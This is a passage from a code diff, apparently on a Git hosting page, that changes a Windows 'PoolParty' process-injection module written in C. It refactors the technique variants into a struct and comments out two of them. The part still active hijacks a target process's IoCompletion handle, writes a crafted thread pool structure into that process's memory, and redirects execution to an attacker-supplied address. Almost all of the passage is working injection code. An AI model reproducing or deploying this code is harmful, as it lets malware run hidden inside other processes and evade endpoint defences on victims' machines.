poolLifeguard = NULL;
|
||||
}
|
||||
return poolLifeguard;
|
||||
};
|
||||
|
||||
// For now we support only Windows 10 x64 -> Windows 10 x64
|
||||
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) {
|
||||
OSVERSIONINFO os = { 0 };
|
||||
BOOL isWow64;
|
||||
IsWow64Process(GetCurrentProcess(), &isWow64);
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
|
||||
dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion);
|
||||
if (!pRtlGetVersion(&os)) {
|
||||
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d isWow64: %d", dwSourceArch, dwDestinationArch, isWow64);
|
||||
dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion);
|
||||
if (os.dwMajorVersion >= 10) {
|
||||
if (dwDestinationArch == dwSourceArch && dwSourceArch == PROCESS_ARCH_X64) {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess) {
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
@ -118,44 +175,7 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
|
||||
return hHijackHandle;
|
||||
}
|
||||
|
||||
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerHandle) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 1;
|
||||
ULONG dwInformationSizeOut = 0;
|
||||
pNtDll* ntDll = NULL;
|
||||
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
|
||||
do {
|
||||
ntDll = GetOrInitNtDll();
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION]) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
|
||||
if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
|
||||
if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
|
||||
PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT) + sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
PTP_DIRECT pRemoteTpDirect = (PTP_DIRECT)(pRemoteTpWait + sizeof(FULL_TP_WAIT));
|
||||
|
||||
WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
|
||||
WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
|
||||
ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, *hTriggerHandle, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
|
||||
dwResult = 0;
|
||||
}
|
||||
} while (0);
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
|
||||
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 1;
|
||||
@ -171,7 +191,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION]) {
|
||||
if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
@ -186,7 +206,7 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
|
||||
}
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86) {
|
||||
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86) = (DWORD)((QWORD)lpStartAddress);
|
||||
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86 - 4) = (DWORD) PtrToPtr32(lpStartAddress);
|
||||
}
|
||||
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!RemoteDirectAddress) {
|
||||
@ -195,43 +215,85 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
|
||||
dwResult = ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
|
||||
dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult);
|
||||
dwResult = 0;
|
||||
}
|
||||
} while (0);
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTrigger) {
|
||||
BOOL bError = FALSE;
|
||||
HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
ULONG dwInformationSizeIn = 1;
|
||||
ULONG dwInformationSizeOut = 0;
|
||||
pNtDll* ntDll = NULL;
|
||||
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
|
||||
do {
|
||||
ntDll = GetOrInitNtDll();
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
if (!bSupportedTechnique[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE]) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS);
|
||||
//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerHandle) {
|
||||
// BOOL bError = FALSE;
|
||||
// HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
// ULONG dwInformationSizeIn = 1;
|
||||
// ULONG dwInformationSizeOut = 0;
|
||||
// pNtDll* ntDll = NULL;
|
||||
// DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
// HANDLE hHeap = GetProcessHeap();
|
||||
// POOLPARTY_INJECTOR* pLifeguard = NULL;
|
||||
// HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||
// do {
|
||||
// ntDll = GetOrInitNtDll();
|
||||
// if (ntDll == NULL) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Cannot init GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
// }
|
||||
// if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION].isInjectionSupported) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
// }
|
||||
// hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
//
|
||||
// if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
// }
|
||||
//
|
||||
// if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
// PFULL_TP_WAIT hThreadPool = (PFULL_TP_WAIT)CreateThreadpoolWait((PTP_WAIT_CALLBACK)(lpStartAddress), lpParameter, NULL);
|
||||
// PFULL_TP_WAIT pRemoteTpWait = VirtualAllocEx(hProcess, NULL, sizeof(FULL_TP_WAIT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
// WriteProcessMemory(hProcess, pRemoteTpWait, hThreadPool, sizeof(FULL_TP_WAIT), NULL);
|
||||
//
|
||||
// PTP_DIRECT pRemoteTpDirect = VirtualAllocEx(hProcess, NULL, sizeof(TP_DIRECT), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
// WriteProcessMemory(hProcess, pRemoteTpDirect, &hThreadPool->Direct, sizeof(TP_DIRECT), NULL);
|
||||
// ntDll->pZwAssociateWaitCompletionPacket(hThreadPool->WaitPkt, hHijackHandle, hEvent, pRemoteTpDirect, pRemoteTpWait, 0, 0, NULL);
|
||||
// SetEvent(hEvent);
|
||||
// dwResult = 0;
|
||||
// }
|
||||
// } while (0);
|
||||
// return dwResult;
|
||||
//}
|
||||
|
||||
if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent) {
|
||||
// BOOL bError = FALSE;
|
||||
// HANDLE hHijackHandle = INVALID_HANDLE_VALUE;
|
||||
// ULONG dwInformationSizeIn = 1;
|
||||
// ULONG dwInformationSizeOut = 0;
|
||||
// pNtDll* ntDll = NULL;
|
||||
// DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
// HANDLE hHeap = GetProcessHeap();
|
||||
// WORKER_FACTORY_BASIC_INFORMATION WorkerFactoryInformation = { 0 };
|
||||
// do {
|
||||
// ntDll = GetOrInitNtDll();
|
||||
// if (ntdll == NULL) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
// }
|
||||
// if (poolLifeguard->variants[POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE].isInjectionSupported) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
// }
|
||||
// hHijackHandle = GetRemoteHandle(hProcess, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS);
|
||||
//
|
||||
// if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
// BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] Unable to locate IoCompletion object inside the target process.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
// }
|
||||
//
|
||||
// if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
// ntdll->pNtQueryInformationWorkerFactory(hHijackHandle, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
|
||||
//
|
||||
// ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1;
|
||||
// dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WorkerFactoryInformation.StartRoutine: %ull", WorkerFactoryInformation.StartRoutine);
|
||||
// ntdll->pNtSetInformationWorkerFactory(hHijackHandle, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));
|
||||
// }
|
||||
// } while (0);
|
||||
// return dwResult;
|
||||
//}
|
||||
//
|
||||
|
||||
if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
ntdll->pNtQueryInformationWorkerFactory(hHijackHandle, WorkerFactoryBasicInformation, &WorkerFactoryInformation, sizeof(WorkerFactoryInformation), NULL);
|
||||
|
||||
ULONG WorkerFactoryMinimumThreadNumber = WorkerFactoryInformation.TotalWorkerCount + 1;
|
||||
dprintf("[INJECT][inject_via_poolparty][worker_factory_start_routine_overwrite] WorkerFactoryInformation.StartRoutine: %ull", WorkerFactoryInformation.StartRoutine);
|
||||
ntdll->pNtSetInformationWorkerFactory(hHijackHandle, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG));
|
||||
}
|
||||
} while (0);
|
||||
return dwResult;
|
||||
}
|
@ -1,14 +1,26 @@
|
||||
#include <windows.h>
|
||||
|
||||
#define ERROR_POOLPARTY_VARIANT_FAILED 3
|
||||
#define ERROR_POOLPARTY_GENERIC 1
|
||||
|
||||
#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 0
|
||||
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 1
|
||||
#define POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE 2
|
||||
#define POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION 0
|
||||
//#define POOLPARTY_TECHNIQUE_TP_WAIT_INSERTION 1
|
||||
//#define POOLPARTY_TECHNIQUE_WORKER_FACTORY_OVERWRITE 2
|
||||
|
||||
#define POOLPARTY_TECHNIQUE_COUNT 3
|
||||
#define POOLPARTY_TECHNIQUE_COUNT 1
|
||||
|
||||
DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE *hTriggerEvent);
|
||||
typedef struct POOL_PARTY_TECHNIQUE_ITEM {
|
||||
BOOL isSystemSupported;
|
||||
BOOL isInjectionSupported;
|
||||
DWORD(*handler)(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
|
||||
} POOL_PARTY_TECHNIQUE_ITEM;
|
||||
|
||||
typedef struct POOLPARTY_INJECTOR {
|
||||
BOOL init;
|
||||
POOL_PARTY_TECHNIQUE_ITEM variants[POOLPARTY_TECHNIQUE_COUNT];
|
||||
} POOLPARTY_INJECTOR;
|
||||
|
||||
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch);
|
||||
POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationArch);
|
||||
DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
|
||||
DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
|
||||
//DWORD remote_tp_wait_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
|
||||
//DWORD worker_factory_start_routine_overwrite(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE* hTriggerEvent);
|
Loading…
Reference in New Issue
Block a user